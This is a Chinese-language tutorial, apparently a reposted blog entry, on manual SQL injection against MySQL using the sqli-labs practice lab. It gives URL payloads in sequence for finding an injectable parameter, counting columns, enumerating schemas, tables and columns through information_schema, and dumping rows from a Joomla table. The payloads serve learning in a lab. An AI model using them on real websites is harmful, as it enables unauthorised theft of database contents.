mysql 手工注入解析
Posted recklesszhang
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql 手工注入解析相关的知识,希望对你有一定的参考价值。
前言:这篇文章是针对mysql5.0版本及以上版本的数据库进行注入。至于如何判断数据版本呢?可以通过扫描工具自行探测。本次用到的靶场是使用的sqlilabs,可以自行搭建。话不多说,进入正题!
知识背景
在mysql 5.0以上版本中mysql存在一个自带数据名为information_schema,它是一个存储所有数据库名,表名,列名的数据库,相当于可以通过查询他获取指定数据下面的表名或列名字
information_schema.tables: 记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
判断是否可以注入
http://192.168.58.130:86/Less-2/?id=123213282kjhdkjashdaksjd
让id随便等于一个值,但是页面还是可以正常显示,就代表id还是把我输入的内容带入到数据库中进行查询,故存在注入点。
猜解列名数量
http://192.168.58.130:86/Less-2/?id=1 order by 3
http://192.168.58.130:86/Less-2/?id=1 order by 4
所以列名数目为3
获取所有数据名字
http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
暴露出所有的数据库名字 这里的group_concat就是值的是吧schema_name这一列都给查出来
获取joomla数据库下的表名信息
http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'joomla'
获取joomla数据库表名bak_krfbj_assets表的所有列信息
http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'bak_krfbj_assets' and table_schema ='joomla' //加了一个and 为了避免其他数据库也有一个名为bak_krfbj_assets的表
结果:
获取指定数据:
获取name内容
http://192.168.58.130:86/Less-2/?id=-1 union select 1,name, 4 from joomla.bak_krfbj_assets
获取rules 内容
http://192.168.58.130:86/Less-2/?id=-1 union select 1,rules, 4 from joomla.bak_krfbj_assets
自此我们获取到了具体的name和rules信息,此文章呢涉及到注入是比较简单的,学注入的漫漫长路,同志仍然需要努力呀。
以上是关于mysql 手工注入解析的主要内容,如果未能解决你的问题,请参考以下文章